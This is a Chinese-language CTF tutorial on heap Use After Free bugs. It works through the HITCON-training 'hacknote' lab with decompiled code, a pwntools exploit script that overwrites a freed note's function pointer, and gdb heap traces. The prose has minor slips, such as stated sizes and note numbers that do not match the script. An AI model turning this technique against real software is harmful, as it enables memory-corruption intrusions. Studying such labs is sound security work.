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Use After Free

原理

简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为NULL的内存指针为dangling pointer。

这里给出一个简单的例子

#include <stdio.h>
#include <stdlib.h>
typedef struct name {
  char *myname;
  void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
  NAME *a;
  a = (NAME *)malloc(sizeof(struct name));
  a->func = myprint;
  a->myname = "I can also use it";
  a->func("this is my function");
  // free without modify
  free(a);
  a->func("I can also use it");
  // free with modify
  a->func = printmyname;
  a->func("this is my function");
  // set NULL
  a = NULL;
  printf("this pogram will crash...\n");
  a->func("can not be printed...");
}

运行结果如下

➜  use_after_free git:(use_after_free) ✗ ./use_after_free                      
this is my function
I can also use it
call print my name
this pogram will crash...
[1]    38738 segmentation fault (core dumped)  ./use_after_free

例子

这里我们以 HITCON-training 中的 lab 10 hacknote为例。

功能分析

我们可以简单分析下程序,可以看出在程序的开头有个menu函数,其中有

  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");

故而程序应该主要有3个功能。之后程序会根据用户的输入执行相应的功能。

add_note

根据程序,我们可以看出程序最多可以添加5个note。每个note有两个字段put与content,其中put会被设置为一个函数,其函数会输出 content 具体的内容。

unsigned int add_note()
{
  note *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !notelist[i] )
      {
        notelist[i] = malloc(8u);
        if ( !notelist[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        notelist[i]->put = print_note_content;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = notelist[i];
        v0->content = malloc(size);
        if ( !notelist[i]->content )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, notelist[i]->content, size);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

print_note就是简单的根据给定的note的索引来输出对应索引的note的内容。

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
    notelist[v1]->put(notelist[v1]);
  return __readgsdword(0x14u) ^ v3;
}

delete_note

delete_note 会根据给定的索引来释放对应的note。但是值得注意的是,在 删除的时候,只是单纯进行了free,而没有设置为NULL,那么显然,这里是存在Use After Free的情况的。

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( notelist[v1] )
  {
    free(notelist[v1]->content);
    free(notelist[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

利用分析

我们可以看到 Use After Free 的情况确实可能会发生,那么怎么可以让它发生并且进行利用呢?需要同时注意的是,这个程序中还有一个magic函数,我们有没有可能来通过use after free 来使得这个程序执行magic函数呢?一个很直接的想法是修改note的put字段为magic函数的地址,从而实现在执行print note 的时候执行magic函数。 那么该怎么执行呢?

我们可以简单来看一下每一个note生成的具体流程

  1. 程序申请8字节内存用来存放note中的put以及content指针。
  2. 程序根据输入的size来申请指定大小的内存,然后用来存储content。
       +-----------------+                       
       |   put           |                       
       +-----------------+                       
       |   content       |       size              
       +-----------------+------------------->+----------------+
                                              |     real       |
                                              |    content     |
                                              |                |
                                              +----------------+
    

那么,根据我们之前在堆的实现中所学到的,显然note是一个fastbin chunk(大小为16字节)。我们的目的是希望一个note的put字段为magic的函数地址,那么我们必须想办法让某个note的put指针被覆盖为magic地址。由于程序中只有唯一的地方对put进行赋值。所以我们必须利用写real content的时候来进行覆盖。具体采用的思路如下

  • 申请note0,real content size为16(大小与note大小所在的bin不一样即可)
  • 申请note1,real content size为16(大小与note大小所在的bin不一样即可)
  • 释放note0
  • 释放note1
  • 此时,大小为16的fast bin chunk中链表为note1->note0
  • 申请note2,并且设置real content的大小为8,那么根据堆的分配规则
  • note2其实会分配note1对应的内存块。
  • real content 对应的chunk其实是note0。
  • 如果我们这时候向note3的chunk部分写入magic的地址,那么由于我们没有note1为NULL。当我们再次尝试输出note1的时候,程序就会调用magic函数。

利用脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa") # add note 0
addnote(32, "ddaa") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()

我们可以具体看一下执行的流程,首先先下断点

两处malloc下断点

gef➤  b *0x0804875C
Breakpoint 1 at 0x804875c
gef➤  b *0x080486CA
Breakpoint 2 at 0x80486ca

两处free下断点

gef➤  b *0x08048893
Breakpoint 3 at 0x8048893
gef➤  b *0x080488A9
Breakpoint 4 at 0x80488a9

然后继续执行程序,可以看出申请note0时,所申请到的内存块地址为0x0804b008。(eax存储函数返回值)

$eax   : 0x0804b008    0x00000000
$ebx   : 0x00000000
$ecx   : 0xf7fac780    0x00000000
$edx   : 0x0804b008    0x00000000
$esp   : 0xffffcf10    0x00000008
$ebp   : 0xffffcf48    0xffffcf68    0x00000000
$esi   : 0xf7fac000    0x001b1db0
$edi   : 0xf7fac000    0x001b1db0
$eip   : 0x080486cf    <add_note+89> add esp, 0x10
$cs    : 0x00000023
$ss    : 0x0000002b
$ds    : 0x0000002b
$es    : 0x0000002b
$fs    : 0x00000000
$gs    : 0x00000063
$eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
    0x80486c2 <add_note+76>    add    DWORD PTR [eax], eax
    0x80486c4 <add_note+78>    add    BYTE PTR [ebx+0x86a0cec], al
    0x80486ca <add_note+84>    call   0x80484e0 <malloc@plt>
   0x80486cf <add_note+89>    add    esp, 0x10
    0x80486d2 <add_note+92>    mov    edx, eax
    0x80486d4 <add_note+94>    mov    eax, DWORD PTR [ebp-0x1c]
    0x80486d7 <add_note+97>    mov    DWORD PTR [eax*4+0x804a070], edx
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcf10', 'l8']
8
0xffffcf10│+0x00: 0x00000008      $esp
0xffffcf14│+0x04: 0x00000000
0xffffcf18│+0x08: 0xf7e29ef5    <strtol+5> add eax, 0x18210b
0xffffcf1c│+0x0c: 0xf7e27260    <atoi+16> add esp, 0x1c
0xffffcf20│+0x10: 0xffffcf58    0xffff0a31    0x00000000
0xffffcf24│+0x14: 0x00000000
0xffffcf28│+0x18: 0x0000000a
0xffffcf2c│+0x1c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
---Type <return> to continue, or q <return> to quit---
[#0] 0x80486cf → Name: add_note()
[#1] 0x8048ac5 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef  heap chunk 0x0804b008
UsedChunk(addr=0x804b008, size=0x10)
Chunk size: 16 (0x10)
Usable size: 12 (0xc)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off

申请note 0的content的地址为0x0804b018

$eax   : 0x0804b018    0x00000000
$ebx   : 0x0804b008    0x0804865b    <print_note_content+0> push ebp
$ecx   : 0xf7fac780    0x00000000
$edx   : 0x0804b018    0x00000000
$esp   : 0xffffcf10    0x00000020
$ebp   : 0xffffcf48    0xffffcf68    0x00000000
$esi   : 0xf7fac000    0x001b1db0
$edi   : 0xf7fac000    0x001b1db0
$eip   : 0x08048761    <add_note+235> add esp, 0x10
$cs    : 0x00000023
$ss    : 0x0000002b
$ds    : 0x0000002b
$es    : 0x0000002b
$fs    : 0x00000000
$gs    : 0x00000063
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
    0x8048752 <add_note+220>   mov    al, ds:0x458b0804
    0x8048757 <add_note+225>   call   0x581173df
    0x804875c <add_note+230>   call   0x80484e0 <malloc@plt>
   0x8048761 <add_note+235>   add    esp, 0x10
    0x8048764 <add_note+238>   mov    DWORD PTR [ebx+0x4], eax
    0x8048767 <add_note+241>   mov    eax, DWORD PTR [ebp-0x1c]
    0x804876a <add_note+244>   mov    eax, DWORD PTR [eax*4+0x804a070]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcf10', 'l8']
8
0xffffcf10│+0x00: 0x00000020      $esp
0xffffcf14│+0x04: 0xffffcf34    0xf70a3233
0xffffcf18│+0x08: 0x00000008
0xffffcf1c│+0x0c: 0xf7e27260    <atoi+16> add esp, 0x1c
0xffffcf20│+0x10: 0xffffcf58    0xffff0a31    0x00000000
0xffffcf24│+0x14: 0x00000000
0xffffcf28│+0x18: 0x0000000a
0xffffcf2c│+0x1c: 0x00000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
---Type <return> to continue, or q <return> to quit---
[#0] 0x8048761 → Name: add_note()
[#1] 0x8048ac5 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef  heap chunk 0x0804b018
UsedChunk(addr=0x804b018, size=0x28)
Chunk size: 40 (0x28)
Usable size: 36 (0x24)
Previous chunk size: 0 (0x0)
PREV_INUSE flag: On
IS_MMAPPED flag: Off
NON_MAIN_ARENA flag: Off

类似的,我们可以得到note1的地址以及其content的地址分别为0x0804b040 和0x0804b050。

同时,我们还可以看到note0与note1对应的content确实是相应的内存块。

gef  grep aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x804b000-0x806c000), permission=rw-
  0x804b018 - 0x804b01c     "aaaa" 
gef  grep ddaa
[+] Searching 'ddaa' in memory
[+] In '[heap]'(0x804b000-0x806c000), permission=rw-
  0x804b050 - 0x804b054     "ddaa" 

下面就是free的过程了。我们可以依次发现首先,note0的content被free

   0x8048893 <del_note+143>   call   0x80484c0 <free@plt>
      0x80484c0 <free@plt+0>     jmp    DWORD PTR ds:0x804a018
       0x80484c6 <free@plt+6>     push   0x18
       0x80484cb <free@plt+11>    jmp    0x8048480
       0x80484d0 <__stack_chk_fail@plt+0> jmp    DWORD PTR ds:0x804a01c
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcf20', 'l8']
8
0xffffcf20│+0x00: 0x0804b018    "aaaa"   $esp

然后是note0本身

   0x80488a9 <del_note+165>   call   0x80484c0 <free@plt>
      0x80484c0 <free@plt+0>     jmp    DWORD PTR ds:0x804a018
       0x80484c6 <free@plt+6>     push   0x18
       0x80484cb <free@plt+11>    jmp    0x8048480
       0x80484d0 <__stack_chk_fail@plt+0> jmp    DWORD PTR ds:0x804a01c
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcf20', 'l8']
8
0xffffcf20│+0x00: 0x0804b008    0x0804865b    <print_note_content+0> push ebp   $esp

当delete结束后,我们观看一下bins,可以发现,确实其被存放在对应的fast bin中,

gef  heap bins
───────────────────────────────────────────────────────────[ Fastbins for arena 0xf7fac780 ]───────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x8]    UsedChunk(addr=0x804b008, size=0x10) 
Fastbins[idx=1, size=0xc] 0x00
Fastbins[idx=2, size=0x10] 0x00
Fastbins[idx=3, size=0x14]    UsedChunk(addr=0x804b018, size=0x28) 
Fastbins[idx=4, size=0x18] 0x00
Fastbins[idx=5, size=0x1c] 0x00
Fastbins[idx=6, size=0x20] 0x00

当我们将note1也全部删除完毕后,再次观看bins。可以看出,后删除的chunk块确实处于表头。

gef  heap bins
───────────────────────────────────────────────────────────[ Fastbins for arena 0xf7fac780 ]───────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x8]    UsedChunk(addr=0x804b040, size=0x10)    UsedChunk(addr=0x804b008, size=0x10) 
Fastbins[idx=1, size=0xc] 0x00
Fastbins[idx=2, size=0x10] 0x00
Fastbins[idx=3, size=0x14]    UsedChunk(addr=0x804b050, size=0x28)    UsedChunk(addr=0x804b018, size=0x28) 
Fastbins[idx=4, size=0x18] 0x00
Fastbins[idx=5, size=0x1c] 0x00
Fastbins[idx=6, size=0x20] 0x00

那么,此时即将要申请note2,我们可以看下note2都申请到了什么内存块,如下

申请note2对应的内存块为0x804b040,其实就是note1对应的内存地址。

[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(8)=0x804b040
0x080486cf in add_note ()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0x0804b040    0x0804b000    0x00000000
$ebx   : 0x00000000
$ecx   : 0xf7fac780    0x00000000
$edx   : 0x0804b040    0x0804b000    0x00000000
$esp   : 0xffffcf10    0x00000008
$ebp   : 0xffffcf48    0xffffcf68    0x00000000
$esi   : 0xf7fac000    0x001b1db0
$edi   : 0xf7fac000    0x001b1db0
$eip   : 0x080486cf    <add_note+89> add esp, 0x10
$cs    : 0x00000023
$ss    : 0x0000002b
$ds    : 0x0000002b
$es    : 0x0000002b
$fs    : 0x00000000
$gs    : 0x00000063
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
    0x80486c2 <add_note+76>    add    DWORD PTR [eax], eax
    0x80486c4 <add_note+78>    add    BYTE PTR [ebx+0x86a0cec], al
    0x80486ca <add_note+84>    call   0x80484e0 <malloc@plt>
   0x80486cf <add_note+89>    add    esp, 0x10

申请note2的content的内存地址为0x804b008,就是note0对应的地址,即此时我们向note2的content写内容,就会将note0的put字段覆盖。

gef  n 1
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(8)=0x804b008
0x08048761 in add_note ()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0x0804b008    0x00000000
$ebx   : 0x0804b040    0x0804865b    <print_note_content+0> push ebp
$ecx   : 0xf7fac780    0x00000000
$edx   : 0x0804b008    0x00000000
$esp   : 0xffffcf10    0x00000008
$ebp   : 0xffffcf48    0xffffcf68    0x00000000
$esi   : 0xf7fac000    0x001b1db0
$edi   : 0xf7fac000    0x001b1db0
$eip   : 0x08048761    <add_note+235> add esp, 0x10
$cs    : 0x00000023
$ss    : 0x0000002b
$ds    : 0x0000002b
$es    : 0x0000002b
$fs    : 0x00000000
$gs    : 0x00000063
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
    0x8048752 <add_note+220>   mov    al, ds:0x458b0804
    0x8048757 <add_note+225>   call   0x581173df
    0x804875c <add_note+230>   call   0x80484e0 <malloc@plt>
   0x8048761 <add_note+235>   add    esp, 0x10

我们来具体检验一下,看一下覆盖前的情况,可以看到该内存块的put指针已经被置为NULL了,这是由fastbin的free机制决定的。

gef  x/2xw 0x804b008
0x804b008:  0x00000000  0x0804b018

覆盖后,具体的值如下

gef  x/2xw 0x804b008
0x804b008:  0x08048986  0x0804b00a
gef  x/i 0x08048986
   0x8048986 <magic>:   push   ebp

可以看出,确实已经被覆盖为我们所想要的magic函数了。

最后执行的效果如下

[+] Starting local process './hacknote': pid 35030
[*] Switching to interactive mode
flag{use_after_free}----------------------
       HackNote       
----------------------
 1. Add note          
 2. Delete note       
 3. Print note        
 4. Exit              
----------------------

同时,我们还可以借助gef的heap-analysis-helper 来看一下整体的堆的申请与释放的情况,如下

gef  heap-analysis-helper 
[*] This feature is under development, expect bugs and unstability...
[+] Tracking malloc()
[+] Tracking free()
[+] Tracking realloc()
[+] Disabling hardware watchpoints (this may increase the latency)
[+] Dynamic breakpoints correctly setup, GEF will break execution if a possible vulnerabity is found.
[*] Note: The heap analysis slows down noticeably the execution. 
gef  c
Continuing.
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - malloc(32)=0x804b018
[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(32)=0x804b050
[+] Heap-Analysis - free(0x804b018)
[+] Heap-Analysis - watching 0x804b018
[+] Heap-Analysis - free(0x804b008)
[+] Heap-Analysis - watching 0x804b008
[+] Heap-Analysis - free(0x804b050)
[+] Heap-Analysis - watching 0x804b050
[+] Heap-Analysis - free(0x804b040)
[+] Heap-Analysis - watching 0x804b040
[+] Heap-Analysis - malloc(8)=0x804b040
[+] Heap-Analysis - malloc(8)=0x804b008
[+] Heap-Analysis - Cleaning up
[+] Heap-Analysis - Re-enabling hardware watchpoints
[New process 36248]
process 36248 is executing new program: /bin/dash
[New process 36249]
process 36249 is executing new program: /bin/cat
[Inferior 3 (process 36249) exited normally]

这里第一个输出了两次,应该是gef工具的问题。

题目

  • 2016 HCTF fheap